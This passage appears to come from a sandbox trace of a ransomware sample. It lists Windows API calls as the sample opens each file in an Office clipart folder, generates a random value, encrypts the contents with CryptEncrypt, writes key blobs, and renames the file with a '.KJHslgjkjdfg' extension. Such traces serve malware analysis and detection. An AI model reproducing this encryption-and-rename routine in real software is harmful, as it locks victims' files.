hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.453] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7f70, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7f70, lpOverlapped=0x0) returned 1 [0198.453] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.453] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x8044, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.453] SetEndOfFile (hFile=0x130) returned 1 [0198.455] GetProcessHeap () returned 0x2ef0000 [0198.455] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0198.455] GetProcessHeap () returned 0x2ef0000 [0198.455] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0198.456] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101867.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101867.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101867.bmp.kjhslgjkjdfg")) returned 1 [0198.457] CloseHandle (hObject=0x130) returned 1 [0198.457] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3ee8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0101980.WMF", cAlternateFileName="")) returned 1 [0198.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101980.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.459] GetProcessHeap () returned 0x2ef0000 [0198.459] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0198.459] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0198.459] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0198.459] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.461] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.462] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.462] GetProcessHeap () returned 0x2ef0000 [0198.462] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0198.462] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0198.462] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.462] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0198.462] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.462] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0198.462] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0198.462] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0198.462] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.462] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.462] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.462] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.462] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3ee8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3ee8, lpOverlapped=0x0) returned 1 [0198.463] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3ef0, dwBufLen=0x3ef0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3ef0) returned 1 [0198.463] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.463] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3ef0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3ef0, lpOverlapped=0x0) returned 1 [0198.464] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.464] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3fc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.464] SetEndOfFile (hFile=0x130) returned 1 [0198.466] GetProcessHeap () returned 0x2ef0000 [0198.466] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0198.466] GetProcessHeap () returned 0x2ef0000 [0198.466] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0198.467] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101980.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101980.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101980.wmf.kjhslgjkjdfg")) returned 1 [0198.468] CloseHandle (hObject=0x130) returned 1 [0198.468] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3e74, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0102002.WMF", cAlternateFileName="")) returned 1 [0198.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102002.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.468] GetProcessHeap () returned 0x2ef0000 [0198.468] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0198.468] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0198.468] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0198.469] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0198.471] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.471] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.471] GetProcessHeap () returned 0x2ef0000 [0198.471] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0198.471] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0198.471] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.471] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0198.471] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.471] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0198.471] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0198.471] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0198.471] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.472] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.472] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.472] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.472] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3e74, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3e74, lpOverlapped=0x0) returned 1 [0198.473] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3e80, dwBufLen=0x3e80 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3e80) returned 1 [0198.473] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.473] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3e80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3e80, lpOverlapped=0x0) returned 1 [0198.473] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.473] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3f54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.473] SetEndOfFile (hFile=0x130) returned 1 [0198.475] GetProcessHeap () returned 0x2ef0000 [0198.475] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0198.476] GetProcessHeap () returned 0x2ef0000 [0198.476] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0198.476] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102002.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102002.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102002.wmf.kjhslgjkjdfg")) returned 1 [0198.477] CloseHandle (hObject=0x130) returned 1 [0198.477] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6978, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0102594.WMF", cAlternateFileName="")) returned 1 [0198.477] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102594.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.477] GetProcessHeap () returned 0x2ef0000 [0198.477] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0198.477] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0198.478] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0198.478] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.479] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.480] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.480] GetProcessHeap () returned 0x2ef0000 [0198.480] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0198.480] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0198.480] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.480] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0198.480] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.480] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0198.480] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0198.480] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0198.480] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.480] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.480] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.480] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.480] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x6978, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x6978, lpOverlapped=0x0) returned 1 [0198.481] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6980, dwBufLen=0x6980 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6980) returned 1 [0198.482] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.482] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x6980, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x6980, lpOverlapped=0x0) returned 1 [0198.482] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.482] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6a54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.482] SetEndOfFile (hFile=0x130) returned 1 [0198.484] GetProcessHeap () returned 0x2ef0000 [0198.484] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0198.484] GetProcessHeap () returned 0x2ef0000 [0198.484] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0198.485] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102594.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102594.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102594.wmf.kjhslgjkjdfg")) returned 1 [0198.486] CloseHandle (hObject=0x130) returned 1 [0198.486] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65e1cad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2bd0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0102762.WMF", cAlternateFileName="")) returned 1 [0198.486] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102762.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.486] GetProcessHeap () returned 0x2ef0000 [0198.486] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0198.487] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0198.487] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0198.487] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.487] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.487] GetProcessHeap () returned 0x2ef0000 [0198.487] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0198.487] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0198.487] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.487] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0198.489] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0198.489] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0198.489] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0198.489] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0198.489] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0198.489] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0198.489] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0198.489] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.490] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2bd0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2bd0, lpOverlapped=0x0) returned 1 [0198.490] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2bd0, dwBufLen=0x2bd0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2bd0) returned 1 [0198.491] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.491] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2bd0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2bd0, lpOverlapped=0x0) returned 1 [0198.491] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0198.491] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2ca4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.491] SetEndOfFile (hFile=0x130) returned 1 [0198.497] GetProcessHeap () returned 0x2ef0000 [0198.497] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0198.497] GetProcessHeap () returned 0x2ef0000 [0198.497] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0198.498] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0102762.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0102762.wmf"), lpNewFileName="C:\\Program Files\\Microsoft 